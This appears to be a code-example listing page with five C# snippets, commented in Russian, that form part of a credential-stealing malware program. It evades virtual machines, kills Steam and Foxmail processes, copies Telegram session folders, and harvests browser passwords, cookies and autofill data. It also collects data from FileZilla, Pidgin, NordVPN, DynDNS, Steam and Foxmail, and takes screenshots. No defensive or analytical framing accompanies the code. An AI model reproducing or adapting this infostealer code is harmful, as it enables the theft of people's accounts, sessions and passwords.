예제 #1
0
        /// <summary>
        /// Метод для сбора файлов со Steam директории
        /// </summary>
        /// <param name="exp">Сбор файлов без расширений ( *." )</param>
        /// <param name="congfiles">Сбор файлов с config директории</param>
        /// <param name="name">Именная папка Config</param>
        /// <param name="proc">Имя процесса Стим</param>
        public static void Inizialize(string exp, string congfiles, string name, string proc)
        {
            // Проверяем путь к папке стим
            if (CombineEx.ExistsDir(SteamPath.GetLocationSteam()))
            {
                CombineEx.CreateOrDeleteDirectoryEx(true, CombineEx.CombinePath(GlobalPath.Steam_Dir, name), FileAttributes.Normal);
                CombineEx.CreateFile(false, GlobalPath.SteamID, SteamProfiles.GetSteamID());

                // Закрываем процесс чтобы можно было скопировать файлы.
                ProcessControl.Closing(proc);
                try
                {
                    // Проходимся циклом по файлам без расширения
                    foreach (var Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), exp).Where(
                                 // Проверяем файл
                                 Unknown => File.Exists(Unknown)).Where(
                                 // Обходим файл .crash
                                 Unknown => !Unknown.Contains(".crash")).Select(Unknown => Unknown))
                    {
                        CombineEx.FileCopy(Unknown, CombineEx.CombinePath(GlobalPath.Steam_Dir, CombineEx.GetFileName(Unknown)), true);
                    }
                    // Проходимся циклом по файлам конфиг
                    foreach (var Config in Directory.EnumerateFiles(CombineEx.CombinePath(SteamPath.GetLocationSteam(), name), congfiles).Where(
                                 // Проверяем файл
                                 Config => File.Exists(Config)).Select(Config => Config))
                    {
                        CombineEx.FileCopy(Config, CombineEx.CombinePath(CombineEx.CombinePath(GlobalPath.Steam_Dir, name), CombineEx.GetFileName(Config)), true);
                    }
                }
                catch { }
            }
        }
예제 #2
0
 /// <summary>
 /// Метод для получения имени браузера
 /// </summary>
 /// <param name="Item"></param>
 /// <returns></returns>
 public static string GetTitle(List <string> Item)
 {
     foreach (string Br in Item)
     {
         string Name = CombineEx.GetDirName(Br);
         if (CombineEx.ExistsDir(Name))
         {
             return(CombineEx.GetFileName(Name));
         }
     }
     return("Неизвестный браузер");
 }
예제 #3
0
 public static void GetSession(string From, string To, string Exp)
 {
     if (CombineEx.ExistsDir(From))
     {
         CombineEx.CreateOrDeleteDirectoryEx(true, To, FileAttributes.Normal);
         try
         {
             foreach (var dirPath in from string dirPath in Directory.EnumerateDirectories(From, Exp, SearchOption.TopDirectoryOnly)
                      where !dirPath.Contains("dumps") && (!dirPath.Contains("temp")) && (!dirPath.Contains("user_data")) && (!dirPath.Contains("emoji")) && (!dirPath.Contains("tdummy"))
                      select dirPath)
             {
                 CombineEx.CreateOrDeleteDirectoryEx(true, dirPath?.Replace(From, To), FileAttributes.Normal);
                 foreach (string newPath in Directory.EnumerateFiles(dirPath, Exp, SearchOption.TopDirectoryOnly))
                 {
                     CombineEx.FileCopy(newPath, newPath?.Replace(From, To), true);
                 }
             }
         }
         catch (Exception) { }
     }
 }
예제 #4
0
        public static void Main()
        {
            // Проверяем на запуск виртуальных машин ( Virtual Machine Check )
            if (!AntiVM.GetCheckVMBot() && !RunCheck.InstanceCheck())
            {
                Environment.Exit(0);
            }
            // Создаём папку куда будем всё собирать
            HomeDirectory.Inizialize();
            // Делаем проверку что папка создалась
            if (CombineEx.ExistsDir(GlobalPath.HomePath))
            {
                // Собираем данные ....
                Telega.GetSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*");
                MailFoxPassword.Inizialize();
                BuffBoard.Inizialize();
                NordVPN.Inizialize_Grabber();
                DynDns.Inizialize_Grabber();
                FileZilla.Inizialize_Grabber();
                Pidgin.Inizialize_Grabber();
                GetSteamFiles.Inizialize("*.", "*.vdf", "config", "Steam");
                InfoGrabber.Inizialize();
                ScreenShot.Inizialize(GlobalPath.Screen);

                // Сбор и вывод логинов и паролей
                Searcher.CopyInSafeDir(GlobalPath.LoginsPath, "Login Data");
                GetPasswords.Inizialize_Multi_file();

                // Сбор и вывод куки данных
                Searcher.CopyInSafeDir(GlobalPath.CookiesPath, "Cookies");
                GetCookies.Inizialize();

                // Сбор и вывод Автозаполнение форм
                Searcher.CopyInSafeDir(GlobalPath.WebDataPath, "Web Data");
                GetAutoFill.Inizialize_AutoFill();
            }
        }
예제 #5
0
        public static void Inizialize()
        {
            ProcessControl.Closing("Foxmail");
            const string FOXPATH = @"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command";
            string       UserDat = string.Empty, FinalPath = string.Empty, Email = string.Empty;

            if (CombineEx.ExistsDir(FoxMailPath.GetFoxMail(FOXPATH)))
            {
                try
                {
                    foreach (string dir in Directory.EnumerateDirectories(FoxMailPath.GetFoxMail(FOXPATH), "*@*", SearchOption.TopDirectoryOnly))
                    {
                        Email     = dir.Substring(dir.LastIndexOf("\\") + 1);
                        UserDat   = CombineEx.CombinePath(dir, @"Accounts\Account.rec0");
                        FinalPath = CombineEx.CombinePath(GlobalPath.FoxMailPass, @"Account.rec0");
                        CombineEx.FileCopy(UserDat, FinalPath, false);
                        break;
                    }
                }
                catch { }
                Reader(UserDat, Email);
                CombineEx.DeleteFile(FinalPath);
            }
        }